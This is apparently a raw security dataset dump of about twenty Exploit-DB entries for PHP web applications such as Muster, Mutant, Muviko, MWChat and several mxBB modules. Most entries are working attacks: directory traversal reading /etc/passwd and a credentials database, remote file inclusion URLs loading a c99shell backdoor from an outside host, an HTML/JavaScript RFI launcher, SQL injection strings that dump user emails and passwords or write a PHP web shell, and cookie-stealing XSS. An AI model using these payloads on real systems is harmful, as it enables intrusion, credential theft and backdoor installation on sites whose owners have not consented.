deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18185
Description: Muster Render Farm Management System - Arbitrary File Download
Type: webapps
Platform: php
Date: 2011-12-01
Author: Nick Freeman

Exploit:
#Name: Muster Render Farm Management System Arbitrary File Download 
#Vendor Website : http://www.vvertex.com/muster.html 
#Date Released : November 29, 2011 
#Affected Software : Muster < 6.20 
#Researcher : Nick Freeman (nick.freeman@security-assessment.com)

#Description
#Security-Assessment.com has discovered a vulnerability with the Muster 6.1.6 web management server. This issue #can be exploited by an unauthenticated user to gain full control of the web management interface, and to send #arbitrary commands to all Muster clients.

#Exploitation
#It is possible to download any file on the Muster server by exploiting a vulnerability in the web server. By #using directory traversal characters (\..\..\) in the URL, it is possible to specify any file on the file #system to be served to the client. Exploitation of this vulnerability does not require authentication. The #table below includes an example HTTP Request that would allow the download of the “muster.db” SQLite database:

#Example of Malicious HTTP Request :

GET /a\..\..\muster.db 
HTTP/1.1 Host: musterserver:8690




#This SQLite database contains a table with all users of the application together with base64-encoded #passwords. By retrieving this database or other similar configuration files, it is possible to gain #administrative access over the render farm.


#Solution
#A patch is available from the vendor’s website. Version 6.20 remediates this vulnerability.
Exploit-DB #3665
Description: Mutant 0.9.2 - 'mutant_functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-04
Author: bd0rk

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Exploit</title>

<script language="JavaScript">

//'Bug found and Exploit coded by bd0rk
//'Vendor: http://ie.archive.ubuntu.com/sourceforge/p/ph/phpbb22-mutant/mutant-0_9_2.tar.gz
//'Contact: bd0rk[at]hackermail.com

//'Vulnerable Code: include_once($phpbb_root_path . 'includes/message_parser.'.$phpEx);
//'$phpbb_root_path is not declared before include
//'Greetings: str0ke, TheJT, rgod, Perle

//#The german Hacker bd0rk

var dir="/mutant_includes/"
var file="/mutant_functions.php?"
var parameter ="phpbb_root_path="
var shell="http://dot.hazard.free.fr/hacking/exploits/Backdoor/c99shell.txt?"

function command() {
if (document.rfi.target1.value==""){
alert("Exploit failed...");
return false;
}

rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script>
</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-04-04]
Exploit-DB #5262
Description: mutiple timesheets 5.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-16
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+              Mutiple Timesheets <= 5.0 - Multiple Remote Vulnerabilities           +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Mutiple Timesheets
[~] Download: http://riceball.com/drupal/files/mts-5.zip
[~] Exploit: Multiple Remote Vulnerabilities [High]
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Good!

[+] Directory traversal:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/?tab=[FILE]
[~] Example: http://localhost/apps/mts/mts/?tab=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

[+] Cross Site Scripting:

[~] Vuln File: index.php
[~] Exploit: http://localhost/PATH/?tab=[XSS]
[~] Example: http://localhost/apps/mts/mts/?tab=>'><ScRiPt%20%0a%0d>alert("JosS")%3B</ScRiPt>

[+] Cookie Manipulation:

[~] Vuln File: index.php, clientinfo.php, invoices.php, smartlinks.php, todo.php
[~] Exploit: http://localhost/PATH/index.php?mode=edit&tab=[Cookie]
[~] Example: /apps/mts/mts/index.php?mode=edit&tab=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-03-16]
Exploit-DB #42421
Description: Muviko 1.0 - 'q' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Kaan KAMIS

Exploit:
Exploit Title: Muviko - Video CMS v1.0 – 'q' Parameter SQL Injection
Date: 02.08.2017
Vendor Homepage: https://muvikoscript.com/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview
Muviko is a movie & video content management system. 
Powerful, scalable and multi-purpose. 
It has been built from the ground up to provide users with an excellent experience. 
Uses can subscribe to watch your videos and earn you money. 
You choose which of your videos require users to subscribe, and which are free. 
You can also earn money from Ads.


Vulnerable Url: https://localhost/search.php?q=[payload]

Sqlmap Example : sqlmap.py -u "https://localhost/search.
php?q=star" --cookie="PHPSESSID=ipqrq203upp0kshdetjgn2hk12; _ga=GA1.2[PII_REDACTED]
[PII_REDACTED]; _gid=GA1.2[PII_REDACTED][PII_REDACTED]; _gat=1"

---
Parameter: q (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: q=test' UNION ALL SELECT NULL,CONCAT(CONCAT('qqpzq','lHGBmBgXqPlXdk
uRCaimornRFWRUtWPKLWYLzQeK'),'qqvvq'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL-- Gqvt
---
Exploit-DB #41279
Description: Muviko Video CMS - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Muviko Video CMS Script - SQL Injection
# Google Dork: N/A
# Date: 08.02.2017
# Vendor Homepage: https://muvikoscript.com/
# Software Buy: https://codecanyon.net/item/muviko-movie-video-cms/19402086
# Demo: https://demo.muvikoscript.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?q=[SQL]
# -9999'+/*!50000union*/+select+1,concat_ws(0x3c62723e,email,0x3c62723e,password,0x3c62723e,name),3,4,5,6,7,8,9,10,11,12,13,14,15+from+users-- -
# http://localhost/[PATH]/category.php?id=[SQL]
# -9999'+/*!50000union*/+select+1,concat_ws(0x3c62723e,email,0x3c62723e,password,0x3c62723e,name),3,4,5,6,7,8,9,10,11,12,13,14,15+from+users-- -
# Etc...
# # # # #
Exploit-DB #45621
Description: MV Video Sharing Software 1.2 - 'searchname' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-16
Author: Ihsan Sencan

Exploit:
# Exploit Title: MV Video Sharing Software 1.2 - 'searchname' SQL Injection
# Dork: N/A
# Date: 2018-10-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://melerovideo.com/software/
# Software Link: https://sourceforge.net/projects/mvvideosharingsoftware/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/search.php
# POST /searchname=[SQL]

POST /[PATH]/search.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 404
searchname=%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%29%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2d%2d%20%45%66%65
HTTP/1.1 200 OK
Date: Tue, 16 Oct 2018 08:45:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #2173
Description: MVCnPHP 3.0 - glConf[path_libraries] Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: Drago84

Exploit:
MVCnPHP Remote File Inclusion

############ToXiC CrEw###############

Bug Found by Drago84

Page  Sources:
http://freshmeat.net/redir/mvcnphp/46123/url_tgz/Geeklog_MVCnPHP-3.0.0.tgz

Page Affect:
BaseCommand.php
BaseLoader.php
BaseView.php

ExP:
http://server/dir_mvcnphp/BaseCommand.php?glConf[path_libraries]=http://evalsite.com/shell.php
http://server/dir_mvcnphp/BaseLoader.php?glConf[path_libraries]=http://evalsite.com/shell.php
http://server/dir_mvcnphp/BaseView.php?glConf[path_libraries]=http://evalsite.com/shell.php

# milw0rm.com [2006-08-10]
Exploit-DB #25438
Description: MVNForum 1.0 - Search Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-18
Author: hoang yen

Exploit:
source: https://www.securityfocus.com/bid/13213/info

mvnForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/mvnforum/Search="><script>alert('XSS found here')</script>
Exploit-DB #28110
Description: MVNForum Activatemember 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-26
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18663/info

mvnForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.0 GA; other versions may also be vulnerable.

Example http://www.example.com/activatemember?activatecode=%22%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25786
Description: MWChat 6.7 - 'Start_Lobby.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-06-03
Author: Status-x

Exploit:
source: https://www.securityfocus.com/bid/13849/info

MWChat is affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=http://www.example.com/
Exploit-DB #26394
Description: MWChat 6.8 - 'chat.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-21
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/15198/info

MWChat is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/mwchat/chat.php?Username='UNION%20SELECT%200,0,0,0,'<?system($_GET[cmd]);?>',0,0,0%20INTO%20OUTFILE%20'../../www/mwchat/shell.php'%20FROM%20chat_text/*&Sequence_Check=&Lang=en&Resolution=1280&Room=prova
Exploit-DB #3766
Description: Mx Module Smartor Album FAP 2.0 RC 1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-19
Author: bd0rk

Exploit:
               ########################################################################

                mxBB Module MX Smartor FAP 2.0 RC1 Remote File Inclusion Vulnerability

               ########################################################################


Class: Remote

Vendor: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=364

Founder: bd0rk

Contact: bd0rk[at]hackermail.com

Vulnerable Code in /admin/admin_album_otf.php

---------------------------------------------------------------------------------------------
define( 'IN_PORTAL', 1 );

if ( !empty( $setmodules ) )
{
	$file = basename( __FILE__ );
	$module['Smartor_Album']['Configuration otf'] = 'modules/mx_smartor/admin/' . $file;
	return;
}

$mx_root_path = './../../../';
$module_root_path = "./../";
$phpEx = substr(strrchr(__FILE__, '.'), 1);
require( $mx_root_path . '/admin/pagestart.' . $phpEx );

include_once($phpbb_root_path . 'includes/functions_validate.'.$phpEx);
---------------------------------------------------------------------------------------------

$phpbb_root_path is not declared before include_once

[+]Exploit: http://[target]/modules/mx_smartor/admin/admin_album_otf.php?phpbb_root_path=Shell?

Shouts: str0ke, TheJT, Lu7k, GolD_M ;-)

# milw0rm.com [2007-04-19]
Exploit-DB #26284
Description: MX Shop 3.2 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-09-19
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/14876/info

MX Shop is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?mod=pages&idp='[SQL INJECTION]
http://www.example.com/index.php?mod=pages&id_ctg='[SQL INJECTION]
http://www.example.com/index.php?mod=pages&id_prd='[SQL INJECTION]
Exploit-DB #5659
Description: MX-System 2.7.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-20
Author: cOndemned

Exploit:
Name   : MX-System 2.7.3 (index.php page) Remote SQL Injection Vulnerability
Author : cOndemned
Dork   : intext:Powered by MX-System 2.7.3
Greetz : ZaBeaTy, str0ke, doctor, Avantura </3

PoC :

    http://[target]/[path]/index.php?page=-1+union+select+1,2,3,4,5,concat_ws(char(58),version(),user(),now())/*
    http://[target]/[path]/index.php?page=-1+union+select+1,2,3,4,5,concat(table_name,char(58),column_name)+from+information_schema.columns/*
    
    SQL query will generate error page containing requested informations.

# milw0rm.com [2008-05-20]
Exploit-DB #2919
Description: mxBB Module Activity Games 0.92 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-11
Author: 3l3ctric-Cracker

Exploit:
# mx_act (mxBB Games Module)   --Remote File Inclusion Exploit
# Bug Found & Exploit [c]oded By Dr Max Virus
# Download:http://www.mx-system.com/index.php?page=4&action=file&file_id=71

Problem area:

	if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) )
	{
	  	include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx );
		$link_language='lang_english';
	}	
	else
	{
	  	include(  $mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx );
		$link_language='lang_' . $board_config['default_lang'];
	} 

PoC:
	
	http://site.com/mxBB/modules/mx_act/include/constants/act_constants.php?mx_root_path=http://[yourshell]?&	
	

# exploit was broken and removed. /str0ke

# milw0rm.com [2006-12-11]
Exploit-DB #2799
Description: mxBB Module calsnails 1.06 - 'mx_common.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-11-17
Author: bd0rk

Exploit:
##################################################################
#                                                                #
# mxBB calsnails module 1.06 Remote File Inclusion Vulnerability #
#                                                                #
# Bugfounder: bd0rk || SOH-Crew                                  #
#                                                                #
# Website: www.soh-crew.it.tt                                    #
#                                                                #
# Gr33tings: nukedx, DeeJay, TheJT, str0ke                       #
#                                                                #
##################################################################

Mod-Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=21

Vulnerable Code: include_once($module_root_path . 'includes/cal_settings.'.$phpEx);

[+]Exploit: http://[site]/[path]/includes/mx_common.php?module_root_path=http://Y0urSh3LL?

# milw0rm.com [2006-11-17]
Exploit-DB #2940
Description: mxbb module charts 1.0.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-16
Author: ajann

Exploit:
*******************************************************************************************
# Title   :  mxBB Module Charts <= 1.0.0(module_root_path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.mx-system.com

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
include($module_root_path . 'language/lang_' . $language . '/lang_charts.' .  $phpEx);
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/modules/mx_charts/charts_constants.php?module_root_path=[shell]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-16]
Exploit-DB #2917
Description: mxBB Module ErrorDocs 1.0 - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-11
Author: bd0rk

Exploit:
=> mxBB Module mx_errordocs 1.0 Remote File Include Vulnerability

=> Mod-Download: http://forums.phpmix.org/download.php?id=27

=> Bugfounder: bd0rk || SOH-Crew

=> Vulnerable code in common.php

=> Greetings: str0ke, broken-error, Martn & m0rphin

[+] Exploit: http://[target]/[patH]/includes/common.php?module_root_path=YouRSheLL?

=> Special Fixtip: Declare $module_root_path or use Hacking Attempt

# milw0rm.com [2006-12-11]
Exploit-DB #2924
Description: mxBB Module kb_mods 2.0.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-12
Author: 3l3ctric-Cracker

Exploit:
_____         __  __             __      ___
|  __ \       |  \/  |            \ \    / (_)
| |  | |_ __  | \  / | __ ___  __  \ \  / / _ _ __ _   _ ___
| |  | | '__| | |\/| |/ _` \ \/ /   \ \/ / | | '__| | | / __|
| |__| | |    | |  | | (_| |>  <     \  /  | | |  | |_| \__ \
|_____/|_|    |_|  |_|\__,_/_/\_\     \/   |_|_|   \__,_|___/

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
                        Knowledgebase kb_mods  Multiple Remote
Vulnerablities
                            Remote File Inclusion & Local File Inclusion
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Script:knowledgebase
Version:2.0.2
Download:http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=55
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Author:Dr Max Virus
Location:Egypt
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Bug in :includes/common.php
Vul Code:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Problem:The variable of phpEx & many variables are not sanitized
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
POC:
http://[target]/mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path=Evil Code
http://[target]/mxBB/modules/kb_mods/includes/kb_constants.php?kb_constants.php&board_config[default_lang]=english&phpEx=../../..
/../../etc/passwd
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Thx to:str0ke & All My Friends
Special Gr33ts:AsianEagle & The Master & Kacper & HotTurk
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=

# milw0rm.com [2006-12-12]
Exploit-DB #2941
Description: mxBB Module Meeting 1.1.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-16
Author: ajann

Exploit:
*******************************************************************************************
# Title   :  mxBB Module Meeting <= 1.1.2(meeting_constants.php) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.mx-system.com

*******************************************************************************************

[[ERROR]]]------------------------------------------------------
....
..
include($module_root_path . 'language/lang_' . $language . '/lang_meeting.' . $phpEx);
....
..
[[ERROR]]]---------------------------------------------------------

Example:

//[path]/modules/mx_meeting/pages/meeting_constants.php?module_root_path=[shell]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-16]